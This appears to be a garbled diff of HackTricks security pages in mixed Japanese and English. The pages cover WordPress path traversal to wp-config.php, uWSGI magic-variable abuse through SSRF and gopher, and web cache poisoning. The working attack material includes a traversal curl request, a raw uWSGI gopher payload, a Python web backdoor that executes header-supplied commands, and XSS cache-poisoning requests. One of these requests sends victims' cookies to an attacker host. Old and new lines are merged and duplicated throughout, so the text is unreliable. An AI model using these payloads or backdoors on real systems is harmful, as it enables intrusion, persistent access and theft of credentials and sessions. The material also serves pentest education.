```bash ```bash
curl -G https://victim.com/wp-admin/admin-post.php \ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \ --data-urlencode 'task=downloadcustomfile' \
@ -699,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys. サーバーは `wp-config.php` の内容を返し、DB credentials と auth keys を leaking します。
## 参考資料 ## 参考資料

View File

@ -0,0 +1,169 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## WSGI 概要
Web Server Gateway Interface (WSGI) は、webサーバーがWebアプリケーションとどのように通信するか、そしてWebアプリケーションを連結して1つのリクエストを処理する方法を定める仕様です。uWSGI は最も一般的な WSGI サーバーの一つで、Python の Web アプリケーションを配信するためによく使われます。
## uWSGI Magic Variables の悪用
uWSGI はサーバーの挙動を動的に設定するために使用できる特別な "magic variables" を提供します。これらの変数は HTTP ヘッダーを通じて設定でき、適切に検証されない場合には深刻なセキュリティ脆弱性を引き起こす可能性があります。
### 主な悪用可能な変数
#### `UWSGI_FILE` - 任意ファイル実行
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
この変数は任意の Python ファイルを WSGI アプリケーションとして読み込み、実行することを可能にします。攻撃者がこのパラメータを制御できる場合、Remote Code Execution (RCE) を達成できます。
#### `UWSGI_SCRIPT` - スクリプトの読み込み
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
指定したスクリプトを新しいアプリケーションとして読み込みます。ファイルのアップロードや書き込み機能と組み合わせると、これがRCEにつながる可能性があります。
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
これらのパラメータは任意のPythonモジュールをロードし、その中の特定の関数を呼び出すことを可能にします。
#### `UWSGI_SETENV` - 環境変数の操作
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
環境変数を変更するために使用でき、アプリケーションの動作に影響を与えたり、悪意のある設定を読み込ませたりする可能性があります。
#### `UWSGI_PYHOME` - Python 環境の操作
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
#### `UWSGI_CHDIR` - Directory Traversal
Python の仮想環境を変更し、悪意のあるパッケージや別の Python インタプリタが読み込まれる可能性があります。
```
uwsgi_param UWSGI_CHDIR /etc/;
```
リクエストを処理する前に作業ディレクトリを変更します。これは path traversal 攻撃に利用できます。
## SSRF + Gopher to
### 攻撃ベクトル
When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:
1. アプリケーションに SSRF の脆弱性がある
2. uWSGI が内部のポート/ソケットで動作している
3. アプリケーションが magic variables を適切に検証していない
uWSGI は、設定ファイル `uwsgi.ini``socket = 127.0.0.1:5000` が含まれているため SSRF によってアクセス可能になっており、ウェブアプリケーションから SSRF 経由でアクセスできます。
### 悪用例
#### ステップ1: Create Malicious Payload
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### ステップ 2: uWSGI プロトコルリクエストの作成
Gopher プロトコルを使って生の uWSGI パケットを送信します:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
この payload:
- uWSGI のポート5000に接続する
- 悪意のあるファイルを指すように `UWSGI_FILE` を設定する
- uWSGI に Python コードを読み込ませて実行させる
### uWSGI プロトコルの構造
uWSGI プロトコルは次のようなバイナリ形式を使用する:
- 変数は長さプレフィックス付き文字列としてエンコードされる
- 各変数は: `[name_length][name][value_length][value]`
- パケットは合計サイズを含むヘッダで始まる
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### ファイルベースの Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
次に `UWSGI_FILE` を使ってこのバックドアをロードします:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### 環境ベースの Persistence
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. 情報漏洩
#### 環境変数のダンプ
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### ファイルシステムへのアクセス
機密ファイルにアクセスするために、`UWSGI_CHDIR` をファイル配信と組み合わせて使用します:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
uWSGI が特権で実行されている場合、攻撃者は socket permissions を操作できる可能性があります:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### 設定の上書き
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## 参考資料
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,75 +2,75 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## 違い ## The difference
> **web cache poisoning と web cache deception の違いは何ですか?** > **What is the difference between web cache poisoning and web cache deception?**
> >
> - **web cache poisoning** においては、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。 > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - **web cache deception** においては、攻撃者はアプリケーションに別ユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者はそのコンテンツをキャッシュから取得します。 > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
## Cache Poisoning ## Cache Poisoning
Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の管理下にあるリソースを読み込ませることを目的としています。影響の範囲は対象ページの人気度に依存します。汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪れるユーザーにのみ配信されます。 Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込ませることを目的としています。影響の範囲は汚染されたページの人気度に依存し、汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪問したユーザーにのみ配信されます。
Cache poisoning 攻撃の実行は以下のステップを含みます: cache poisoning 攻撃の実行にはいくつかのステップがあります:
1. **Identification of Unkeyed Inputs**: キャッシュされるために必須ではないパラメータだが、サーバーが返すレスポンスを変更できる入力を特定すること。これらの入力を特定することは、キャッシュを操作するために重要です。 1. **Unkeyed Inputs の特定**: これらはリクエストがキャッシュされるために必須ではないが、サーバーが返すレスポンスを変更できるパラメータです。これらの入力を特定することが重要で、キャッシュを操作するために悪用される可能性があります。
2. **Exploitation of the Unkeyed Inputs**: 特定した unkeyed inputs をどのように悪用してサーバーのレスポンスを攻撃者に有利な形に変更するかを見つけます。 2. **Unkeyed Inputs の悪用**: Unkeyed Inputs を特定したら、それらのパラメータをどのように悪用してサーバーのレスポンスを攻撃者に有利な形で変更するかを見つけます。
3. **Ensuring the Poisoned Response is Cached**: 操作したレスポンスがキャッシュに保存されることを確認します。こうすることで、キャッシュが汚染されている間に該当ページにアクセスしたユーザーは改ざんされたレスポンスを受け取ります。 3. **Poisoned Response がキャッシュされることを確認**: 最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。こうすることで、キャッシュが汚染されている間に影響を受けたページにアクセスするユーザーは汚染されたレスポンスを受け取ります。
### Discovery: Check HTTP headers ### Discovery: Check HTTP headers
通常、レスポンスが**キャッシュに保存された**場合、それを示す**ヘッダー**が付加されます。どのヘッダーに注意すべきかはこの投稿を確認してください: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). 通常、レスポンスが **stored in the cache** ときは、それを示す **header indicating so** が存在します。どのヘッダーに注意すべきかはこの投稿を確認してください: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)
### Discovery: Caching error codes ### Discovery: Caching error codes
レスポンスがキャッシュに保存されているかを確認したい場合、**無効なヘッダー**でリクエストを送ってみて、通常は**status code 400**で応答されるはずです。その後通常どおりリクエストにアクセスして、**レスポンスが 400 の status code**であれば脆弱であることがわかりますDoS を行うことさえ可能です)。 レスポンスがキャッシュに保存されているかもしれないと思ったら、**bad header** を付けたリクエストを送ってみてください。通常は **status code 400** で応答されるはずです。次にそのリクエストを通常通りアクセスして、**response is a 400 status code** であれば、脆弱であることがわかります(場合によっては DoS を実行できることもあります)。
以下でさらにオプションを確認できます: You can find more options in:
{{#ref}} {{#ref}}
cache-poisoning-to-dos.md cache-poisoning-to-dos.md
{{#endref}} {{#endref}}
ただし、**これらの種類のステータスコードはキャッシュされないことがある**ため、このテストは常に信頼できるわけではない点に注意してください ただし、**sometimes these kinds of status codes aren't cached** ことがあるので、このテストは信頼できない場合があります
### Discovery: Identify and evaluate unkeyed inputs ### Discovery: Identify and evaluate unkeyed inputs
ページのレスポンスを変更している可能性のあるパラメータやヘッダーを **brute-force parameters and headers** するために [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) を使うことができます。例えば、ページが `X-Forwarded-For` ヘッダーを利用してクライアントにそこからスクリプトを読み込ませるよう指示している場合があります: You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
```html ```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script> <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
``` ```
### バックエンドサーバーから有害なレスポンスを引き出す ### バックエンドサーバーから有害なレスポンスを引き出す
parameter/header を特定したら、それがどのように **サニタイズ** されているか、また **どこに** **反映されている** レスポンスにどのように影響しているかを確認します。これを悪用できますかXSS を実行したり、自分で制御する JS を読み込ませることはできるかDoS を引き起こせるか?... parameter/header が特定できたら、それがどのように **サニタイズされている** のか、また **どこに** **反映されている** のか、もしくは header のレスポンスにどのように影響しているのかを確認してください。悪用できますかXSS を実行する、あなたが制御する JS コードを読み込ませる、DoS を行うなど)?
### レスポンスをキャッシュさせる ### レスポンスをキャッシュさせる
悪用可能な **page**、どの **parameter**/**header** を使うか、そしてどのように **abuse** するかを **identified** したら、その page をキャッシュさせる必要があります。キャッシュに入るまでリソースによっては時間がかかることがあり、数秒間試行続ける必要があるかもしれません。 一度 **悪用可能なページ**、使用する **parameter**/**header**、およびそれを **どう** **悪用する**かを **特定** したら、そのページをキャッシュさせる必要があります。キャッシュに入れようとしているリソースによっては時間がかかることがあり、数秒間試行続ける必要があるかもしれません。
レスポンスのヘッダ **`X-Cache`** は、リクエストがキャッシュされていないときに値が **`miss`**、キャッシュされているときに **`hit`** になる可能性があるため非常に有用です。\ レスポンスのヘッダ **`X-Cache`** はとても有用で、リクエストがキャッシュされていないときに **`miss`**、キャッシュされているときに **`hit`** という値を持つことがあります。\
ヘッダ **`Cache-Control`** もリソースがキャッシュされているか、次にいつ再キャッシュされるかを知るのに重要です: `Cache-Control: public, max-age=1800` ヘッダ**`Cache-Control`** も、リソースがキャッシュされているかどうかと、次にいつキャッシュされるかを知るのに役立ちます: `Cache-Control: public, max-age=1800`
もう一つ興味深いヘッダは **`Vary`** です。このヘッダはしばしば **追加のヘッダを示す** のに使われ、通常はキー化されないヘッダであっても **cache key の一部として扱われる** ことがあります。したがって、攻撃対象のユーザの `User-Agent` を知っていれば、その特定の `User-Agent` を使うユーザ向けに poison the cache することができます。 もう一つ興味深いヘッダ**`Vary`** です。このヘッダーは、通常はキー化されないヘッダーであっても、**キャッシュキーの一部として扱われる追加のヘッダーを示す** ために使用されることがよくあります。したがって、攻撃対象が使用している `User-Agent` を攻撃者が知っている場合、その特定の `User-Agent` を使うユーザー向けにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダは **`Age`** です。これはオブジェクトがプロキシキャッシュに置かれてからの経過秒数を定義します。 キャッシュに関連する別のヘッダーは **`Age`** です。これはオブジェクトがプロキシキャッシュ内にどのくらいの秒数いたかを定義します。
リクエストをキャッシュするときは、使用するヘッダに注意してください。なぜなら一部は **予期せず** **keyed** として使われる可能性があり、**victim は同じヘッダを使う必要がある** からです。常に Cache Poisoning を **試験** するときは **異なるブラウザ** で動作を確認してください。 リクエストをキャッシュする際は、使用するヘッダーに **注意** してください。なぜなら、一部のヘッダーは **予期せず** キー化されている可能性があり、**被害者は同じヘッダーを使う必要がある** からです。常に **異なるブラウザ** で Cache Poisoning を **テスト** して、動作確認を行ってください。
## Exploiting Examples ## 悪用例
### 一番簡単な例 ### 最も簡単な例
`X-Forwarded-For` のようなヘッダがレスポンスにサニタイズされずに反映されている。\ `X-Forwarded-For` のようなヘッダがレスポンスにサニタイズされずに反映されている。\
基本的な XSS ペイロードを送信してキャッシュを poison the cache すれば、その page にアクセスする全員が XSSed されます: 基本的な XSS ペイロードを送信してキャッシュを汚染すれば、そのページにアクセスする全員が XSS に遭うようにできます:
```html ```html
GET /en?region=uk HTTP/1.1 GET /en?region=uk HTTP/1.1
Host: innocent-website.com Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>" X-Forwarded-Host: a."><script>alert(1)</script>"
``` ```
_この操作は `/en?region=uk` へのリクエストを poison し、`/en` へのリクエストは poison しない点に注意してください_ _Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS ### Cache poisoning to DoS
@ -81,15 +81,18 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs ### Cache poisoning through CDNs
この **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、次の単純なシナリオが説明されています: **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、次の単純なシナリオが説明されています
- CDN は `/share/` 以下のコンテンツをすべて cache します。 - The CDN will cache anything under `/share/`
- CDN は `%2F..%2F` をデコードも正規化もしません。したがって、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のように、cache される他の機密箇所へアクセスするための **path traversal to access other sensitive locations that will be cached** として利用できます。 CDN は `/share/` 以下のすべてをキャッシュします
- Web server は `%2F..%2F` をデコード・正規化し、`/api/auth/session` で応答します。これは **contains the auth token** - The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
CDN は `%2F..%2F` をデコードも正規化もしないため、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のように **path traversal to access other sensitive locations that will be cached** として利用できます
- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.
Web サーバは `%2F..%2F` をデコードして正規化し、`/api/auth/session` に対するレスポンスを返します。これには **contains the auth token** が含まれます。
### Using web cache poisoning to exploit cookie-handling vulnerabilities ### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies はページのレスポンスにも反映されることがあります。例えばそれを悪用して XSS を発生させられれば、悪意ある cache response を読み込む複数のクライアントで XSS を悪用できる可能性があります。 Cookies はページのレスポンスに反映されることもあります。たとえばそれを悪用して XSS を発生させられる場合、悪意あるキャッシュ応答を読み込む複数のクライアントに対して XSS を悪用できる可能性があります。
```html ```html
GET / HTTP/1.1 GET / HTTP/1.1
Host: vulnerable.com Host: vulnerable.com
@ -97,38 +100,38 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
``` ```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### デリミタ、正規化とドットによる不一致の生成 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### 区切り文字・正規化・ドットによる差分の生成 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check: 参照:
{{#ref}} {{#ref}}
cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md
{{#endref}} {{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### Cache poisoning with path traversal による API key の窃取 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. [**この writeup は次のように説明しています**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) が、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のような URL で OpenAI API key を盗むことができた理由は、`/share/*` にマッチするリソースが Cloudflare による URL の正規化を経ることなくキャッシュされ、正規化はリクエストが web server に到達した時点で行われていたためです。
This is also explained better in: これは以下でも詳しく説明されています:
{{#ref}} {{#ref}}
cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md
{{#endref}} {{#endref}}
### 複数のヘッダを使って web cache poisoning 脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### 複数のヘッダを使って web cache poisoning 脆弱性 を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
場合によっては、キャッシュを悪用するために **exploit several unkeyed inputs** が必要になります。例えば、`X-Forwarded-Host` をあなたが管理するドメインに設定し、`X-Forwarded-Scheme``http` にすると、**Open redirect** が見つかることがあります。**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, you can control where the page is pointed by the redirect. 場合によっては、キャッシュを悪用するために**複数のキー未指定の入力を悪用する**必要があります。例えば、`X-Forwarded-Host` を自分が管理するドメインに、`X-Forwarded-Scheme``http` に設定すると、**Open redirect** を見つけられることがあります。さらに、**サーバ** がすべての **HTTP** リクエストを **HTTPS****転送** し、リダイレクト先のドメイン名としてヘッダ `X-Forwarded-Scheme` を使用している場合、リダイレクト先をあなたが制御できるようになります。
```html ```html
GET /resources/js/tracking.js HTTP/1.1 GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http X-Forwarded-Scheme: http
``` ```
### Exploiting with limited `Vary`header ### 限定的な `Vary` ヘッダーを悪用する
もし**`X-Host`**ヘッダが**JSリソースをロードするためのドメイン名**として使用されているが、レスポンスの**`Vary`**ヘッダが**`User-Agent`**を示していることが分かったら、被害者のUser-Agentをexfiltrateし、そのuser agentを使ってキャッシュをpoisonする方法を見つける必要があります: もし **`X-Host`** ヘッダーが **JS リソースを読み込むためのドメイン名** として使われているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を exfiltrate し、その User-Agent を使ってキャッシュを poison する方法を見つける必要があります:
```html ```html
GET / HTTP/1.1 GET / HTTP/1.1
Host: vulnerbale.net Host: vulnerbale.net
@ -137,9 +140,7 @@ X-Host: attacker.com
``` ```
### Fat Get ### Fat Get
URL と body の両方に同じリクエストを含めた GET リクエストを送信します。 URL と body に同じ request を入れて GET リクエストを送る。もし web server が body の方を使い、cache server が URL の方をキャッシュすると、その URL にアクセスした誰もが実際には body の parameter を使うことになる。James Kettle が Github のサイトで発見した vuln のように:
web server が body のほうを使い、cache server が URL のほうをキャッシュしていると、その URL にアクセスする誰もが実際には body にある parameter を使うことになります。
James Kettle が Github website で見つけた vuln のように:
``` ```
GET /contact/report-abuse?report=albinowax HTTP/1.1 GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com Host: github.com
@ -148,7 +149,7 @@ Content-Length: 22
report=innocent-victim report=innocent-victim
``` ```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) この件に関する Portswigger の lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking ### Parameter Cloacking
@ -158,29 +159,29 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
ここでは[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) を利用してどのように攻撃を行うかを学べます。 ここでは [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) をどのように実行するか学べます。
### Automated testing for Web Cache Poisoning ### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) は、web cache poisoning の自動テストに使えます。多くの手法をサポートしており、高度にカスタマイズ可能です。 The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) は web cache poisoning の自動テストに利用できます。多くの手法に対応しており、高度にカスタマイズ可能です。
Example usage: `wcvs -u example.com` Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
実際の事例では、ヘッダ反射の脆弱性と CDN/WAF の挙動を組み合わせることで、他のユーザに提供されるキャッシュされた HTML を確実に汚染するパターンが観測されます: この実際のパターンは、ヘッダベースの反射プリミティブと CDN/WAF の挙動を連結させ、他のユーザに配信されるキャッシュされた HTML を確実に汚染します:
- メインの HTML が信頼できないリクエストヘッダ(例: `User-Agent`)を実行可能なコンテキストに反映していた。 - メインの HTML が未検証のリクエストヘッダ(例: `User-Agent`)を実行コンテキストに反映していた。
- CDN が cache ヘッダを削除していたが、内部origin 側にキャッシュが存在した。CDN は静的拡張子で終わるリクエスト(例: `.js`を自動でキャッシュし、WAF は静的アセットに対する GET に対してより緩いコンテンツ検査を適用していた。 - CDN は cache ヘッダを削除していたが、内部/origin のキャッシュは存在した。CDN はまた `.js` のような静的拡張子で終わるリクエストを自動キャッシュし、WAF は静的アセットの GET に対してより緩いコンテンツ検査を行っていた。
- リクエストフローの特異性により、`.js` パスへのリクエストが後続のメイン HTML に使われるキャッシュキーバリアントに影響を与え、header reflection を介したクロスユーザ XSS を可能にしていた。 - リクエストフローの仕様により、`.js` パスへのリクエストが後続のメイン HTML に使用される cache key/variant に影響を与え、ヘッダ反射を介したクロスユーザ XSS を可能にしていた。
Practical recipe (observed across a popular CDN/WAF): Practical recipe (observed across a popular CDN/WAF):
1) クリーンな IP から(以前のレピュテーションによる扱い下げを避けるため)、ブラウザまたは Burp Proxy Match & Replace を使って悪意ある `User-Agent` を設定する。 1) クリーンな IP から(事前のレピュテーション低下を避ける)、ブラウザや Burp Proxy の Match & Replace で悪意ある `User-Agent` を設定する。
2) Burp Repeater で 2 つのリクエストを準備し、"Send group in parallel"single-packet mode が最適)を使う: 2) Burp Repeater で 2 つのリクエストをグループにして "Send group in parallel" を使うsingle-packet mode が最適):
- 最初のリクエスト: 同一オリジン上の `.js` リソースパスに対して、悪意ある `User-Agent` を送って GET する。 - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- 直後に: メインページ(`/`)を GET する。 - Immediately after: GET the main page (`/`).
3) CDN/WAF のルーティングレースと auto-cached `.js` により、汚染された HTML のキャッシュバリアントがシードされ、同じキャッシュキー条件(例: `Vary` の次元が同じ、`User-Agent` 等)を共有する他の訪問者に対して配信されることが多い。 3) CDN/WAF のルーティング競合と auto-cached `.js` により、汚染されたキャッシュ済み HTML のバリアントが種付けされ、それが同じキャッシュキー条件(例: `Vary` 次元としての `User-Agent` など)を共有する他の訪問者に配信されることが多い。
Example header payload (to exfiltrate non-HttpOnly cookies): Example header payload (to exfiltrate non-HttpOnly cookies):
``` ```
@ -188,32 +189,32 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
``` ```
Operational tips: Operational tips:
- 多くの CDN はキャッシュヘッダーを隠すため、poisoning は数時間単位のリフレッシュサイクルでしか現れないことがあります。レートリミットやレピュテーショントリガーを避けるため、複数の観測ポイントとなる IP を使用し、スロットルしてください。 - Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- CDN の自前のクラウド上の IP を使うと、ルーティングの一貫性が改善されることがあります。 - Using an IP from the CDN's own cloud sometimes improves routing consistency.
- 厳格な CSP が存在する場合でも、reflection がメインの HTML コンテキストで実行され、CSP がインライン実行を許可するかコンテキストでバイパスされる場合は動作します。 - If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
Impact: Impact:
- セッションCookieが `HttpOnly` でない場合、poisoned HTML が配信されたすべてのユーザーから `document.cookie` を大量に窃取することで、zero-click ATO が可能になります。 - If session cookies arent `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
Defenses: Defenses:
- リクエストヘッダーを HTML に反映するのをやめてください。どうしても必要な場合は厳密にコンテキストエンコードしてください。CDN と origin のキャッシュポリシーを整合させ、信頼できないヘッダーでバリアントさせないようにしてください。 - Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- WAF が `.js` リクエストや静的パスに対して一貫してコンテンツ検査を適用することを確認してください。 - Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- セッションCookieに `HttpOnly`(および `Secure`, `SameSite`)を設定してください。 - Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection) ### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
Sitecorespecific なパターンにより、preauth XAML ハンドラと AjaxScriptManager の reflection を悪用して HtmlCache への未認証の書き込みが可能になります。`Sitecore.Shell.Xaml.WebControl` ハンドラに到達すると、`xmlcontrol:GlobalHeader``Sitecore.Web.UI.WebControl` から派生)が利用可能になり、次の reflective call が許可されます: A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
``` ```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
``` ```
